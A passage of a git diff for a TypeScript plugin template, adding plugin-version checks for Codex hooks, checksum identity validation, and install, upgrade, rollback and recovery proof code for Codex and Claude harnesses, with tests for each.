"9.9.9", + ], + "{}", + "wrong-version", + ) + const matching = executeCommand( + [ + "hook", + "--harness", + "codex", + "--event", + "SessionStart", + "--plugin-version", + config.version, + ], + "{}", + "matching-version", + ) + + expect(missing).toMatchObject({ exitCode: 2 }) + expect(missing.stderr).toContain("--plugin-version is required for codex hooks") + expect(mismatch).toMatchObject({ exitCode: 2 }) + expect(mismatch.stderr).toContain(`--plugin-version must be ${config.version}`) + expect(matching).toMatchObject({ exitCode: 0 }) +}) + +test("Claude hooks remain versionless because Claude supplies no manifest version argument", () => { + const result = executeCommand( + ["hook", "--harness", "claude", "--event", "SessionStart"], + "{}", + "claude-hook", + ) + + expect(result).toMatchObject({ exitCode: 0 }) +}) diff --git a/runtime/src/portable-command.ts b/runtime/src/portable-command.ts index 584900e..275f6a2 100644 --- a/runtime/src/portable-command.ts +++ b/runtime/src/portable-command.ts @@ -30,12 +30,16 @@ function help(): string { Usage: hello-world hello [--name ] [--json] - hello-world hook --harness --event + hello-world hook --harness claude --event + hello-world hook --harness codex --event --plugin-version hello-world --help Commands: hello Print a greeting. No files, network calls, or durable state. hook Accept a harness hook payload on stdin and exit successfully. + +Hook options: + --plugin-version Required for Codex hooks only. ` } @@ -83,10 +87,17 @@ export function executeCommand( if (command === "hook") { const harness = optionValue(commandArguments, "--harness") const event = optionValue(commandArguments, "--event") + const pluginVersion = optionValue(commandArguments, "--plugin-version") if (harness !== "codex" && harness !== "claude") { return failure("--harness must be codex or claude") } if (!event) return failure("--event is required") + if (harness === "codex" && !pluginVersion) { + return failure("--plugin-version is required for codex hooks") + } + if (pluginVersion && pluginVersion !== PLUGIN_VERSION) { + return failure(`--plugin-version must be ${PLUGIN_VERSION}`) + } if (standardInput.trim()) { try { JSON.parse(standardInput) diff --git a/scripts/cli-contract.test.ts b/scripts/cli-contract.test.ts index 4285664..65d3318 100644 --- a/scripts/cli-contract.test.ts +++ b/scripts/cli-contract.test.ts @@ -27,7 +27,8 @@ test("template CLI discovery and rendered help expose the same public commands", const canaryHelp = run(["ship:canary", "--", "--help"]) expect(canaryHelp.exitCode).toBe(0) expect(canaryHelp.stdout.toString()).toContain("--execute") - expect(canaryHelp.stdout.toString()).toContain("never force-pushes") + expect(canaryHelp.stdout.toString()).toContain("create-only compare-and-swap") + expect(canaryHelp.stdout.toString()).toContain("never replaced or deleted") const releaseHelp = run(["release:validate", "--", "--help"]) expect(releaseHelp.exitCode).toBe(0) diff --git a/scripts/distribution-checksums.test.ts b/scripts/distribution-checksums.test.ts new file mode 100644 index 0000000..7f6f2fa --- /dev/null +++ b/scripts/distribution-checksums.test.ts @@ -0,0 +1,36 @@ +import { expect, test } from "bun:test" + +import { + assertDistributionChecksumIdentity, + type DistributionChecksumIdentity, +} from "./distribution-checksums" + +const expected: DistributionChecksumIdentity = { + repository: "https://github.com/example/plugin", + sourceCommit: "a".repeat(40), + tag: "v1.2.3", + plugin: "example-plugin", + version: "1.2.3", + archive: "example-plugin-1.2.3.tar.gz", + archiveBytes: 1234, + archiveSha256: "b".repeat(64), +} + +test.each([ + ["repository", "https://github.com/wrong/plugin"], + ["sourceCommit", "c".repeat(40)], + ["tag", "v9.9.9"], + ["plugin", "wrong-plugin"], + ["version", "9.9.9"], + ["archive", "wrong.tar.gz"], + ["archiveBytes", 9999], + ["archiveSha256", "d".repeat(64)], +] as const)("distribution proof rejects mismatched %s", (field, value) => { + expect(() => + assertDistributionChecksumIdentity({ ...expected, [field]: value }, expected), + ).toThrow(`checksum ${field} does not match the packaged archive identity`) +}) + +test("distribution proof accepts an exact checksum identity", () => { + expect(() => assertDistributionChecksumIdentity(structuredClone(expected), expected)).not.toThrow() +}) diff --git a/scripts/distribution-checksums.ts b/scripts/distribution-checksums.ts new file mode 100644 index 0000000..11b9402 --- /dev/null +++ b/scripts/distribution-checksums.ts @@ -0,0 +1,67 @@ +/** + * Independently derived identity that checksum metadata must bind to archive bytes. + * + * @example + * ```typescript + * const identity: DistributionChecksumIdentity = { + * repository: "https://github.com/example/plugin", + * sourceCommit: "a".repeat(40), + * tag: "v1.0.0", + * plugin: "example-plugin", + * version: "1.0.0", + * archive: "example-plugin-1.0.0.tar.gz", + * archiveBytes: 1024, + * archiveSha256: "b".repeat(64), + * } + * ``` + */ +export interface DistributionChecksumIdentity { + /** Canonical source repository from plugin configuration. */ + repository: string + /** Exact Git commit used to package the payload. */ + sourceCommit: string + /** Immutable release tag corresponding to the version. */ + tag: string + /** Canonical plugin name from configuration. */ + plugin: string + /** Semantic version projected into the package. */ + version: string + /** Basename of the archive whose bytes were measured. */ + archive: string + /** Measured archive size in bytes. */ + archiveBytes: number + /** Measured SHA-256 digest of the archive. */ + archiveSha256: string +} + +/** + * Bind checksum evidence to every independently known package identity field. + * + * @param checksums - Parsed checksum metadata emitted beside the archive + * @param expected - Identity derived independently from configuration, Git, and archive bytes + * @throws {Error} When any emitted identity field differs from independent evidence + * + * @example + * ```typescript + * assertDistributionChecksumIdentity(checksums, expectedIdentity) + * ``` + */ +export function assertDistributionChecksumIdentity( + checksums: Record, + expected: DistributionChecksumIdentity, +): void { + for (const field of [ + "repository", + "sourceCommit", + "tag", + "plugin", + "version", + "archive", + "archiveBytes", + "archiveSha256", + ] as const) { + if (checksums[field] !== expected[field]) { + throw new Error(`checksum ${field} does not match the packaged archive identity`) + } + } +} diff --git a/scripts/harness-install-codex.test.ts b/scripts/harness-install-codex.test.ts new file mode 100644 index 0000000..8f83bae --- /dev/null +++ b/scripts/harness-install-codex.test.ts @@ -0,0 +1,203 @@ +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs" +import { tmpdir } from "node:os" +import { join } from "node:path" + +import { afterEach, expect, test } from "bun:test" + +import { assertCodexReportedVersion, proveCodexNative } from "./harness-install-codex" +import type { CodexInstallState, FixtureRelease } from "./prove-harness-install" + +const temporaryRoots: string[] = [] + +afterEach(() => { + for (const root of temporaryRoots.splice(0)) rmSync(root, { recursive: true, force: true }) +}) + +test("Codex hosted install rejects either stale reported version surface", () => { + const root = mkdtempSync(join(tmpdir(), "codex-hosted-version-")) + temporaryRoots.push(root) + for (const [addVersion, listedVersion] of [ + ["0.1.0", "0.2.0"], + ["0.2.0", "0.1.0"], + ] as const) { + expect(() => + assertCodexReportedVersion( + installedState(root, addVersion, listedVersion, "hosted"), + "0.2.0", + "hosted install", + ), + ).toThrow("Codex hosted install reported the wrong tagged manifest version") + } +}) + +function installedState( + root: string, + addVersion: string, + listedVersion: string, + runtime: string, +): CodexInstallState { + const installedPath = join(root, `${addVersion}-${listedVersion}-${runtime}`) + mkdirSync(join(installedPath, "runtime"), { recursive: true }) + mkdirSync(join(installedPath, "hooks", "codex"), { recursive: true }) + writeFileSync(join(installedPath, "runtime", "hello-world.js"), runtime) + writeFileSync( + join(installedPath, "hooks", "codex", "hooks.json"), + JSON.stringify({ command: `hello-world --plugin-version ${listedVersion}` }), + ) + return { + marketplaceAdd: { marketplaceName: "plugin", installedRoot: root, alreadyAdded: false }, + add: { + pluginId: "plugin@plugin", + name: "plugin", + marketplaceName: "plugin", + version: addVersion, + installedPath, + authPolicy: "ON_INSTALL", + }, + marketplace: { + marketplaces: [ + { + name: "plugin", + root, + marketplaceSource: { sourceType: "local", source: root }, + }, + ], + }, + list: { installed: [], available: [] }, + plugin: { + pluginId: "plugin@plugin", + name: "plugin", + marketplaceName: "plugin", + version: listedVersion, + installed: true, + enabled: true, + source: { source: "local", path: root }, + marketplaceSource: { sourceType: "local", source: root }, + installPolicy: "AVAILABLE", + authPolicy: "ON_INSTALL", + }, + } +} + +test.each([ + { phase: "install", installIndex: 0, expected: "0.1.0", stale: "0.2.0" }, + { phase: "upgrade", installIndex: 1, expected: "0.2.0", stale: "0.1.0" }, + { phase: "rollback", installIndex: 2, expected: "0.1.0", stale: "0.2.0" }, + { phase: "interrupted-state restoration", installIndex: 3, expected: "0.1.0", stale: "0.2.0" }, +] as const)("Codex $phase rejects stale add and list versions", ({ phase, installIndex, expected, stale }) => { + const root = mkdtempSync(join(tmpdir(), "codex-upgrade-version-")) + temporaryRoots.push(root) + const fixture: FixtureRelease = { + repositoryRoot: root, + base: { + requestedRef: "v0.1.0", + resolvedSha: "1".repeat(40), + checkoutRoot: join(root, "base"), + manifestVersion: "0.1.0", + inventory: [], + }, + target: { + requestedRef: "v0.2.0", + resolvedSha: "2".repeat(40), + checkoutRoot: join(root, "target"), + manifestVersion: "0.2.0", + inventory: [], + }, + } + const validInstalls = [ + installedState(root, "0.1.0", "0.1.0", "base"), + installedState(root, "0.2.0", "0.2.0", "target"), + installedState(root, "0.1.0", "0.1.0", "base"), + installedState(root, "0.1.0", "0.1.0", "base"), + ] + for (const surface of ["add", "list"] as const) { + const installs = validInstalls.map((state, index) => + index !== installIndex + ? state + : installedState( + root, + surface === "add" ? stale : expected, + surface === "list" ? stale : expected, + installIndex === 1 ? "target" : "base", + ), + ) + expect(() => + proveCodexNative(fixture, "plugin", "codex", root, { + install: () => installs.shift() as CodexInstallState, + remove: () => {}, + comparePayload: () => [], + environment: () => ({}), + assertReplacementAdmission: () => undefined, + }), + ).toThrow(`Codex ${phase} reported the wrong tagged manifest version`) + } +}) + +function fixtureRelease(root: string): FixtureRelease { + return { + repositoryRoot: root, + base: { + requestedRef: "v0.1.0", + resolvedSha: "1".repeat(40), + checkoutRoot: join(root, "base"), + manifestVersion: "0.1.0", + inventory: [], + }, + target: { + requestedRef: "v0.2.0", + resolvedSha: "2".repeat(40), + checkoutRoot: join(root, "target"), + manifestVersion: "0.2.0", + inventory: [], + }, + } +} + +test("Codex recovery injects a post-removal failure and restores exact prior state", () => { + const root = mkdtempSync(join(tmpdir(), "codex-recovery-")) + temporaryRoots.push(root) + const installs = [ + installedState(root, "0.1.0", "0.1.0", "base"), + installedState(root, "0.2.0", "0.2.0", "target"), + installedState(root, "0.1.0", "0.1.0", "base"), + installedState(root, "0.1.0", "0.1.0", "base"), + ] + let removals = 0 + const proof = proveCodexNative(fixtureRelease(root), "plugin", "codex", root, { + install: () => installs.shift() as CodexInstallState, + remove: () => { + removals += 1 + }, + comparePayload: () => [], + environment: () => ({}), + assertReplacementAdmission: () => undefined, + }) + + expect(removals).toBe(3) + expect(installs).toHaveLength(0) + expect(proof.localRefresh.failureRestored).toBe(true) + expect(proof.configuredRef).toBe("v0.1.0") +}) + +test("Codex recovery rejects a restored marketplace source that differs from prior state", () => { + const root = mkdtempSync(join(tmpdir(), "codex-recovery-source-")) + temporaryRoots.push(root) + const restored = installedState(root, "0.1.0", "0.1.0", "base") + restored.plugin.marketplaceSource.source = "/wrong/source" + const installs = [ + installedState(root, "0.1.0", "0.1.0", "base"), + installedState(root, "0.2.0", "0.2.0", "target"), + installedState(root, "0.1.0", "0.1.0", "base"), + restored, + ] + + expect(() => + proveCodexNative(fixtureRelease(root), "plugin", "codex", root, { + install: () => installs.shift() as CodexInstallState, + remove: () => {}, + comparePayload: () => [], + environment: () => ({}), + assertReplacementAdmission: () => undefined, + }), + ).toThrow("Codex recovery did not restore prior source") +}) diff --git a/scripts/harness-install-codex.ts b/scripts/harness-install-codex.ts new file mode 100644 index 0000000..859f4c2 --- /dev/null +++ b/scripts/harness-install-codex.ts @@ -0,0 +1,261 @@ +import { createHash } from "node:crypto" +import { mkdirSync, readFileSync } from "node:fs" +import { join } from "node:path" + +import { copyPluginPayload } from "./plugin-files" +import { + provePostMutationRecovery, +} from "./harness-install-recovery" +import type { + CodexInstallState, + CodexProof, + FixtureRelease, + ReplacementAdmissionInput, + TaggedCheckout, +} from "./prove-harness-install" + +export interface CodexDriverDependencies { + install: ( + executable: string, + marketplaceRoot: string, + pluginId: string, + environment: Record, + cwd: string, + ) => CodexInstallState + remove: ( + executable: string, + pluginId: string, + marketplaceName: string, + environment: Record, + cwd: string, + ) => void + comparePayload: (checkout: TaggedCheckout, installedPath: string) => string[] + environment: (home: string) => Record + assertReplacementAdmission: (input: ReplacementAdmissionInput) => unknown +} + +function digestFile(path: string): string { + return createHash("sha256").update(readFileSync(path)).digest("hex") +} + +export function assertCodexReportedVersion( + state: CodexInstallState, + expectedVersion: string, + phase: string, +): void { + if (state.add.version !== expectedVersion || state.plugin.version !== expectedVersion) { + throw new Error(`Codex ${phase} reported the wrong tagged manifest version`) + } +} + +/** Execute Codex add, upgrade, rollback, and restoration through native JSON commands. */ +export function proveCodexNative( + fixture: FixtureRelease, + pluginName: string, + codexExecutable: string, + temporaryRoot: string, + dependencies: CodexDriverDependencies, +): CodexProof { + const marketplaceName = pluginName + const pluginId = `${pluginName}@${marketplaceName}` + const home = join(temporaryRoot, "codex", "home") + const project = join(temporaryRoot, "codex", "project") + mkdirSync(home, { recursive: true }) + mkdirSync(project, { recursive: true }) + const environment = dependencies.environment(home) + const initial = dependencies.install( + codexExecutable, + fixture.base.checkoutRoot, + pluginId, + environment, + project, + ) + assertCodexReportedVersion(initial, fixture.base.manifestVersion, "install") + const initialInventory = dependencies.comparePayload(fixture.base, initial.add.installedPath) + const initialRuntimeDigest = digestFile(join(initial.add.installedPath, "runtime", "hello-world.js")) + const priorRecovery = { + source: initial.plugin.marketplaceSource.source, + ref: fixture.base.requestedRef, + version: initial.plugin.version, + payloadInventory: initialInventory, + enabled: initial.plugin.enabled, + } + + dependencies.assertReplacementAdmission({ + target: fixture.target, + restoration: fixture.base, + allowedRefs: [fixture.base.requestedRef, fixture.target.requestedRef], + managed: false, + removable: true, + }) + dependencies.remove(codexExecutable, pluginId, marketplaceName, environment, project) + const upgraded = dependencies.install( + codexExecutable, + fixture.target.checkoutRoot, + pluginId, + environment, + project, + ) + assertCodexReportedVersion(upgraded, fixture.target.manifestVersion, "upgrade") + const upgradedInventory = dependencies.comparePayload(fixture.target, upgraded.add.installedPath) + const upgradedRuntimeDigest = digestFile(join(upgraded.add.installedPath, "runtime", "hello-world.js")) + if (initialRuntimeDigest === upgradedRuntimeDigest) { + throw new Error("Codex local reinstall did not change installed bytes") + } + + dependencies.remove(codexExecutable, pluginId, marketplaceName, environment, project) + let restored = dependencies.install( + codexExecutable, + fixture.base.checkoutRoot, + pluginId, + environment, + project, + ) + assertCodexReportedVersion(restored, fixture.base.manifestVersion, "rollback") + const restoredInventory = dependencies.comparePayload(fixture.base, restored.add.installedPath) + if (restored.plugin.enabled !== initial.plugin.enabled) { + throw new Error("Codex rollback did not restore the prior enabled state") + } + restored = provePostMutationRecovery( + priorRecovery, + { + harness: "Codex", + mutate: () => { + dependencies.remove(codexExecutable, pluginId, marketplaceName, environment, project) + }, + restore: () => { + const recovered = dependencies.install( + codexExecutable, + fixture.base.checkoutRoot, + pluginId, + environment, + project, + ) + assertCodexReportedVersion( + recovered, + fixture.base.manifestVersion, + "interrupted-state restoration", + ) + return { + value: recovered, + snapshot: { + source: recovered.plugin.marketplaceSource.source, + ref: fixture.base.requestedRef, + version: recovered.plugin.version, + payloadInventory: dependencies.comparePayload( + fixture.base, + recovered.add.installedPath, + ), + enabled: recovered.plugin.enabled, + }, + } + }, + }, + ) + const recoveredInventory = dependencies.comparePayload(fixture.base, restored.add.installedPath) + const failureRestored = true + const marketplaceState = restored.marketplace.marketplaces.find( + (entry: { name?: string }) => entry.name === marketplaceName, + ) + if (!marketplaceState) throw new Error("Codex marketplace JSON omitted the active marketplace") + if (marketplaceState.marketplaceSource?.sourceType !== "local") { + throw new Error("Codex local proof did not report a local marketplace cache source") + } + const hookSource = readFileSync( + join(restored.add.installedPath, "hooks", "codex", "hooks.json"), + "utf8", + ) + if (!hookSource.includes(`--plugin-version ${fixture.base.manifestVersion}`)) { + throw new Error("Codex installed hook is not bound to the tagged plugin version") + } + return { + mode: "native-local-marketplace", + version: restored.add.version, + installedPath: restored.add.installedPath, + inventory: recoveredInventory, + requestedRef: fixture.base.requestedRef, + resolvedSha: fixture.base.resolvedSha, + marketplaceIdentity: marketplaceName, + configuredSource: fixture.repositoryRoot, + configuredRef: fixture.base.requestedRef, + installedMarketplaceRoot: marketplaceState.root, + enabled: restored.plugin.enabled, + installPolicy: restored.plugin.installPolicy, + authPolicy: restored.plugin.authPolicy, + marketplaceCacheVersion: "local", + jsonEvidence: { + marketplaceAdd: restored.marketplaceAdd, + marketplaceList: restored.marketplace, + pluginAdd: restored.add, + pluginList: restored.list, + }, + localRefresh: { + initialInstalledPath: initial.add.installedPath, + upgradedInstalledPath: upgraded.add.installedPath, + initialInventory, + upgradedInventory, + bytesChanged: true, + rolledBack: true, + enabledStateRestored: true, + failureRestored, + }, + trust: { + pluginEnabled: restored.plugin.enabled, + hookDefinitionPresent: true, + hookTrusted: false, + preTrustExecution: "skipped", + separateFromEnablement: true, + interactiveAcceptance: "skipped: /hooks trust acceptance requires a human interactive task", + }, + } +} + +/** Development-only byte-copy fallback. Never qualifies CI or release. */ +export function proveCodexFixtureCopy( + fixture: FixtureRelease, + pluginName: string, + temporaryRoot: string, + comparePayload: CodexDriverDependencies["comparePayload"], +): CodexProof { + const installedPath = join( + temporaryRoot, + "codex-fixture-home", + "plugins", + "cache", + pluginName, + pluginName, + fixture.base.manifestVersion, + ) + copyPluginPayload(fixture.base.checkoutRoot, installedPath) + return { + mode: "fixture-copy", + version: fixture.base.manifestVersion, + installedPath, + inventory: comparePayload(fixture.base, installedPath), + requestedRef: fixture.base.requestedRef, + resolvedSha: fixture.base.resolvedSha, + marketplaceIdentity: pluginName, + configuredSource: fixture.repositoryRoot, + configuredRef: fixture.base.requestedRef, + installedMarketplaceRoot: fixture.base.checkoutRoot, + enabled: true, + installPolicy: "AVAILABLE", + authPolicy: "ON_INSTALL", + marketplaceCacheVersion: "local", + jsonEvidence: null, + localRefresh: { + bytesChanged: false, + rolledBack: false, + enabledStateRestored: false, + failureRestored: false, + }, + trust: { + pluginEnabled: true, + hookDefinitionPresent: true, + hookTrusted: false, + preTrustExecution: "skipped", + separateFromEnablement: true, + interactiveAcceptance: "skipped: Codex CLI unavailable", + }, + } +} diff --git a/scripts/harness-install-recovery.test.ts b/scripts/harness-install-recovery.test.ts new file mode 100644 index 0000000..1672383 --- /dev/null +++ b/scripts/harness-install-recovery.test.ts @@ -0,0 +1,71 @@ +import { expect, test } from "bun:test" + +import { + assertExactHarnessRecovery, + provePostMutationRecovery, + type HarnessRecoverySnapshot, +} from "./harness-install-recovery" + +const prior: HarnessRecoverySnapshot = { + source: "/detached/v0.1.0", + ref: "v0.1.0", + version: "0.1.0", + payloadInventory: ["plugin.json", "runtime/hello-world.js"], + enabled: false, + scope: "project", + persistentData: "project marker\n", +} + +test("post-mutation failure enters the recovery handler and returns its restored value", () => { + const phases: string[] = [] + const result = provePostMutationRecovery(prior, { + harness: "Claude", + mutate: () => phases.push("removed"), + restore: () => { + phases.push("restored") + return { value: "recovered", snapshot: structuredClone(prior) } + }, + }) + + expect(result).toBe("recovered") + expect(phases).toEqual(["removed", "restored"]) +}) + +test("unexpected mutation failure does not masquerade as the injected recovery path", () => { + let restored = false + expect(() => + provePostMutationRecovery(prior, { + harness: "Claude", + mutate: () => { + throw new Error("real removal failure") + }, + restore: () => { + restored = true + return { value: "recovered", snapshot: structuredClone(prior) } + }, + }), + ).toThrow("real removal failure") + expect(restored).toBe(false) +}) + +test.each([ + ["source", "/wrong/source"], + ["ref", "v9.9.9"], + ["version", "9.9.9"], + ["payloadInventory", ["plugin.json"]], + ["enabled", true], + ["scope", "user"], + ["persistentData", "changed\n"], +] as const)("exact recovery rejects mismatched %s", (field, value) => { + expect(() => + provePostMutationRecovery(prior, { + harness: "Claude", + mutate: () => {}, + restore: () => ({ value: "restored", snapshot: { ...prior, [field]: value } }), + }), + ).toThrow(`Claude recovery did not restore prior ${field}`) +}) + +test("exact recovery accepts an identical captured snapshot", () => { + expect(() => assertExactHarnessRecovery(prior, structuredClone(prior), "Claude")).not.toThrow() +}) diff --git a/scripts/harness-install-recovery.ts b/scripts/harness-install-recovery.ts new file mode 100644 index 0000000..9085cb6 --- /dev/null +++ b/scripts/harness-install-recovery.ts @@ -0,0 +1,131 @@ +/** + * Captured harness state that recovery must reproduce without approximation. + * + * @example + * ```typescript + * const snapshot: HarnessRecoverySnapshot = { + * source: "/detached/v1.0.0", + * ref: "v1.0.0", + * version: "1.0.0", + * payloadInventory: ["plugin.json"], + * enabled: false, + * } + * ``` + */ +export interface HarnessRecoverySnapshot { + /** Exact marketplace source selected before mutation. */ + source: string + /** Immutable release ref selected before mutation. */ + ref: string + /** Manifest version reported before mutation. */ + version: string + /** Byte-verified payload inventory from before mutation. */ + payloadInventory: string[] + /** Harness enablement state from before mutation. */ + enabled: boolean + /** Claude installation scope when the harness has scopes. */ + scope?: "user" | "project" | "local" + /** Exact persistent marker contents when the harness owns persistent data. */ + persistentData?: string +} + +/** + * Harness-specific destructive and recovery operations used by the shared fault proof. + * + * Claude and Codex are the two production adapters. Keeping the failure boundary here prevents + * either caller from bypassing the recovery handler with a normal reinstall. + * + * @example + * ```typescript + * const adapter: HarnessRecoveryAdapter = { + * harness: "Codex", + * mutate: () => removePlugin(), + * restore: () => ({ value: "restored", snapshot: restoredSnapshot }), + * } + * ``` + */ +export interface HarnessRecoveryAdapter { + /** Harness name used in actionable failures. */ + harness: "Claude" | "Codex" + /** Complete destructive phase after which the fault is injected. */ + mutate: () => void + /** Real restoration path whose result is compared with prior state. */ + restore: () => { value: T; snapshot: HarnessRecoverySnapshot } +} + +class InjectedPostMutationFailure extends Error { + constructor(harness: "Claude" | "Codex") { + super(`${harness} injected post-mutation failure`) + this.name = "InjectedPostMutationFailure" + } +} + +function injectPostMutationFailure(harness: "Claude" | "Codex"): never { + throw new InjectedPostMutationFailure(harness) +} + +/** + * Reject a recovery result that differs from any captured identity or state field. + * + * @param prior - Exact state captured before destructive mutation + * @param restored - State captured after the recovery handler finishes + * @param harness - Harness name used in mismatch diagnostics + * @throws {Error} When any restored field differs from the captured state + * + * @example + * ```typescript + * assertExactHarnessRecovery(priorSnapshot, restoredSnapshot, "Claude") + * ``` + */ +export function assertExactHarnessRecovery( + prior: HarnessRecoverySnapshot, + restored: HarnessRecoverySnapshot, + harness: "Claude" | "Codex", +): void { + for (const field of [ + "source", + "ref", + "version", + "enabled", + "scope", + "persistentData", + ] as const) { + if (restored[field] !== prior[field]) { + throw new Error(`${harness} recovery did not restore prior ${field}`) + } + } + if (JSON.stringify(restored.payloadInventory) !== JSON.stringify(prior.payloadInventory)) { + throw new Error(`${harness} recovery did not restore prior payloadInventory`) + } +} + +/** + * Prove recovery by faulting after mutation and entering the adapter's restoration handler. + * + * A successful mutation can never reach `restore` without the injected failure. The catch block + * is the recovery boundary being exercised, and it returns only after exact snapshot comparison. + * + * @param prior - Exact state captured before mutation + * @param adapter - Harness-specific destructive and restoration operations + * @returns Restored harness value after exact-state validation + * @throws {Error} When mutation fails unexpectedly, restoration fails, or restored state differs + * + * @example + * ```typescript + * const restored = provePostMutationRecovery(priorSnapshot, adapter) + * ``` + */ +export function provePostMutationRecovery( + prior: HarnessRecoverySnapshot, + adapter: HarnessRecoveryAdapter, +): T { + try { + adapter.mutate() + injectPostMutationFailure(adapter.harness) + } catch (error) { + if (!(error instanceof InjectedPostMutationFailure)) throw error + const restored = adapter.restore() + assertExactHarnessRecovery(prior, restored.snapshot, adapter.harness) + return restored.value + } +} diff --git a/scripts/init.test.ts b/scripts/init.test.ts index 30b03f0..a50b495 100644 --- a/scripts/init.test.ts +++ b/scripts/init.test.ts @@ -1,11 +1,11 @@ -import { cpSync, mkdtempSync, readFileSync } from "node:fs" +import { cpSync, existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs" import { tmpdir } from "node:os" import { basename, join, resolve } from "node:path" import { expect, test } from "bun:test" const root = resolve(import.meta.dir, "..") -const templateVersion = JSON.parse(readFileSync(join(root, "plugin.config.json"), "utf8")).version +const initialVersion = "0.1.0" const ignoredEntries = new Set([ ".claude", ".dev", @@ -14,6 +14,19 @@ const ignoredEntries = new Set([ "dist", "node_modules", ]) +const resetPaths = [ + "plugin.config.json", + ".claude-plugin/marketplace.json", + ".agents/plugins/marketplace.json", + "plugin/.claude-plugin/plugin.json", + "plugin/.codex-plugin/plugin.json", + "plugin/hooks/codex/hooks.json", + ".github/release-please-config.json", + "package.json", + ".github/.release-please-manifest.json", + "CHANGELOG.md", + "plugin/runtime/hello-world.js", +] function copyTemplate(prefix: string): string { const temporaryRoot = mkdtempSync(join(tmpdir(), prefix)) @@ -24,6 +37,124 @@ function copyTemplate(prefix: string): string { return temporaryRoot } +function writeJson(path: string, value: unknown): void { + writeFileSync(path, `${JSON.stringify(value, null, 2)}\n`) +} + +function commitPackageCheckout(repositoryRoot: string): string { + function git(...arguments_: string[]): ReturnType { + return Bun.spawnSync({ + cmd: ["git", ...arguments_], + cwd: repositoryRoot, + stdout: "pipe", + stderr: "pipe", + }) + } + + for (const arguments_ of [ + ["init", "--quiet"], + ["add", "--", "plugin.config.json", "plugin"], + [ + "-c", + "user.name=Plugin Test", + "-c", + "user.email=plugin-test@example.invalid", + "commit", + "--quiet", + "-m", + "package fixture", + ], + ] as const) { + const result = git(...arguments_) + expect(result.exitCode, result.stderr.toString()).toBe(0) + } + const head = git("rev-parse", "HEAD") + expect(head.exitCode, head.stderr.toString()).toBe(0) + return head.stdout.toString().trim() +} + +function packageWithSource( + repositoryRoot: string, + sourceVariable: "SOURCE_COMMIT" | "GITHUB_SHA", + value: string, +): ReturnType { + return Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/package.ts"], + cwd: repositoryRoot, + env: { + ...process.env, + SOURCE_COMMIT: undefined, + GITHUB_SHA: undefined, + [sourceVariable]: value, + }, + stdout: "pipe", + stderr: "pipe", + }) +} + +function successfulPackageWithSource( + repositoryRoot: string, + sourceVariable: "SOURCE_COMMIT" | "GITHUB_SHA", + value: string, +): { archive: string; checksums: string } { + const packaged = packageWithSource(repositoryRoot, sourceVariable, value) + expect(packaged.exitCode, packaged.stderr.toString()).toBe(0) + return JSON.parse(packaged.stdout.toString().trim()) +} + +function createReleasedTemplate(prefix: string): string { + const temporaryRoot = copyTemplate(prefix) + const packagePath = join(temporaryRoot, "package.json") + const packageJson = JSON.parse(readFileSync(packagePath, "utf8")) + packageJson.version = "9.9.9" + writeJson(packagePath, packageJson) + + const configPath = join(temporaryRoot, "plugin.config.json") + const config = JSON.parse(readFileSync(configPath, "utf8")) + config.version = "9.9.9" + writeJson(configPath, config) + + const claudeMarketplacePath = join(temporaryRoot, ".claude-plugin", "marketplace.json") + const claudeMarketplace = JSON.parse(readFileSync(claudeMarketplacePath, "utf8")) + claudeMarketplace.metadata.version = "9.9.9" + writeJson(claudeMarketplacePath, claudeMarketplace) + + for (const manifestPath of [ + join(temporaryRoot, "plugin", ".claude-plugin", "plugin.json"), + join(temporaryRoot, "plugin", ".codex-plugin", "plugin.json"), + ]) { + const manifest = JSON.parse(readFileSync(manifestPath, "utf8")) + manifest.version = "9.9.9" + writeJson(manifestPath, manifest) + } + + const runtimePath = join(temporaryRoot, "plugin", "runtime", "hello-world.js") + writeFileSync( + runtimePath, + readFileSync(runtimePath, "utf8").replace( + 'const PLUGIN_VERSION = "0.1.0";', + 'const PLUGIN_VERSION = "9.9.9";', + ), + ) + const codexHooksPath = join(temporaryRoot, "plugin", "hooks", "codex", "hooks.json") + writeFileSync( + codexHooksPath, + readFileSync(codexHooksPath, "utf8").replaceAll( + "--plugin-version 0.1.0", + "--plugin-version 9.9.9", + ), + ) + writeJson(join(temporaryRoot, ".github", ".release-please-manifest.json"), { ".": "9.9.9" }) + writeFileSync(join(temporaryRoot, "CHANGELOG.md"), "# Changelog\n\n## 9.9.9\n\n- Template history\n") + return temporaryRoot +} + +function readResetTargets(temporaryRoot: string): Map { + return new Map( + resetPaths.map((path) => [path, readFileSync(join(temporaryRoot, path), "utf8")]), + ) +} + function initializeTemplate(temporaryRoot: string, options: string[] = []): ReturnType { return Bun.spawnSync({ cmd: [ @@ -62,7 +193,7 @@ test("template user initializes both harness manifests from one metadata source" ok: true, action: "initialized", sideEffects: "repository-files-written", - plugin: { name: "dojo-hello", version: templateVersion }, + plugin: { name: "dojo-hello", version: initialVersion }, }) const config = JSON.parse(readFileSync(join(temporaryRoot, "plugin.config.json"), "utf8")) @@ -75,6 +206,7 @@ test("template user initializes both harness manifests from one metadata source" repository: "https://github.com/myagentdojo/dojo-hello", canary: { owner: "myagentdojo", + actor: "myagentdojo", publicRepository: "dojo-hello-public-canary", privateRepository: "dojo-hello-private-canary", }, @@ -85,17 +217,27 @@ test("template user initializes both harness manifests from one metadata source" ) expect(claudeManifest).toMatchObject({ name: "dojo-hello", - version: templateVersion, + displayName: "Dojo Hello", + version: initialVersion, + defaultEnabled: false, skills: "./skills/", hooks: "./hooks/claude/hooks.json", }) + const claudeMarketplace = JSON.parse( + readFileSync(join(temporaryRoot, ".claude-plugin", "marketplace.json"), "utf8"), + ) + expect(claudeMarketplace.plugins[0]).toMatchObject({ + name: "dojo-hello", + source: "./plugin", + defaultEnabled: false, + }) const codexManifest = JSON.parse( readFileSync(join(temporaryRoot, "plugin", ".codex-plugin", "plugin.json"), "utf8"), ) expect(codexManifest).toMatchObject({ name: "dojo-hello", - version: templateVersion, + version: initialVersion, skills: "./skills/", hooks: "./hooks/codex/hooks.json", interface: { displayName: "Dojo Hello" }, @@ -111,6 +253,217 @@ test("template user initializes both harness manifests from one metadata source" }) }) +test("organization-owned canaries keep repository owner separate from authenticated actor", () => { + const temporaryRoot = copyTemplate("agent-plugin-template-org-canary-") + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "init", + "--", + "--name", + "dojo-hello", + "--repository", + "https://github.com/myagentdojo-org/dojo-hello", + "--canary-actor", + "dojo-release-bot", + "--force", + "--json", + ], + 